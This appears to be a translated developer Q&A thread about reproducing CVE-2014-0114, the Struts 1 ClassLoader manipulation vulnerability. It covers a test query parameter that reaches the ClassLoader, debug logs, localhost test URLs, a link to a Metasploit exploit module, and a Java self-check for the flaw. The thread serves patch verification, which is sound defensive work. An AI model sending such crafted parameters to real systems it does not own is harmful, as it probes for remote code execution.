2

在 Struts1 中,我听说有一个由CVE-2014-0114引起的类加载器漏洞问题。但我无法在我的项目中重现这一点。谁能帮助我如何重现此问题。我用谷歌搜索但没有得到任何复制程序。

我正在为我的网络项目使用struts-1.1, Jboss -4.2.3.GA, Apache 2.2.0, MySql 5.0.37, JKMod, JDK 1.6.0_12, 。Ant 1.7.0

4

5 回答 5

11

尝试调用映射到 struts 操作(由操作表单支持)的 URL。该框架将尝试从查询参数填充您的表单 bean。因此,如果您有类似的查询参数?class.classLoader.defaultAssertionStatus=true,它会转换为formBean.getClass().getClassLoader().setDefaultAssertionStatus(true).

如果您启用了调试日志记录,您将看到以下消息:

2014-05-05 12:57:50,238 DEBUG [org.apache.struts.action.RequestProcessor]  Populating bean properties from this request
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] BeanUtils.populate(com.xxx.struts.demo.web.form.SimpleForm@71909bc, {class.classLoader.defaultAssertionStatus=[Ljava.lang.String;@a6b23fd4})
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils]   setProperty(com.xxx.struts.demo.web.form.SimpleForm@71909bc, class.classLoader.defaultAssertionStatus, [true])
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils]     Target bean = com.ibm.ws.classloading.internal.AppClassLoader@3ac10955
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils]     Target name = defaultAssertionStatus
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Convert string 'true' to class 'boolean'
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils]   Using converter org.apache.commons.beanutils.converters.BooleanConverter@de2943ef
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.PropertyUtils] setSimpleProperty: Invoking method public void java.lang.ClassLoader.setDefaultAssertionStatus(boolean) with value true (class java.lang.Boolean)
于 2014-05-05T07:35:25.193 回答
2

我已经尝试了超过 2 种方法来重现目的。它工作正常。

  1. http://127.0.0.1:8080/MyFormGroupEditSection.do?com.macao.DelphyHacker.Marathonclass.marathonId=34&groupId=862
  2. http://127.0.0.1:8080/MyFormGroupEditSection.do?class.classLoader=true&groupId=862

为了解决这个问题,我想添加一些评论。您可以点击这 2 个链接。希望它将帮助您消除此问题。

http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Protect-your-Struts1-applications/ba-p/6463188#.U2J7xeaSxro

http://mail-archives.apache.org/mod_mbox/struts-announcements/201405.mbox/%3C53629980.8060805%40apache.org%3E

于 2014-06-16T12:14:52.513 回答
1

GitHub 上提供了基于 Metasploit 的漏洞利用:https ://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb和http://downloads.securityfocus。 com/vulnerabilities/exploits/65999.rb。请参阅http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader以供参考。

于 2014-09-26T09:05:44.823 回答
0

除了上面的解决方案,我想指出的是,在 ClassLoader 中的行中添加断点defaultAssertionStatus = enabled;setDefaultAssertionStatus在 private boolean 行中添加观察者defaultAssertionStatus = false;是验证上述 url 修改?class.classLoader.defaultAssertionStatu‌​s=true是否有效的好方法:你的defaultAssertionStatus现在应该为真。

希望这可以帮助!

于 2015-12-14T13:49:52.267 回答
0

像这样的东西可以测试(至少在代码中)

      try {
        PropertyUtils.getNestedProperty(this, "class");
        Logger.error(this, "SECURITY ISSUE- `class` attribute NOT DISABLED for BeanUtil introspection, See: CVE-2014-0114 ");
      } catch (java.lang.NoSuchMethodException nse) {
        Logger.info(this, "`class` is disabled as a property for introspection in struts for security");
      } catch (Exception e) {
        Logger.warn(this, e.getMessage(), e);
      }
于 2018-09-11T14:38:39.163 回答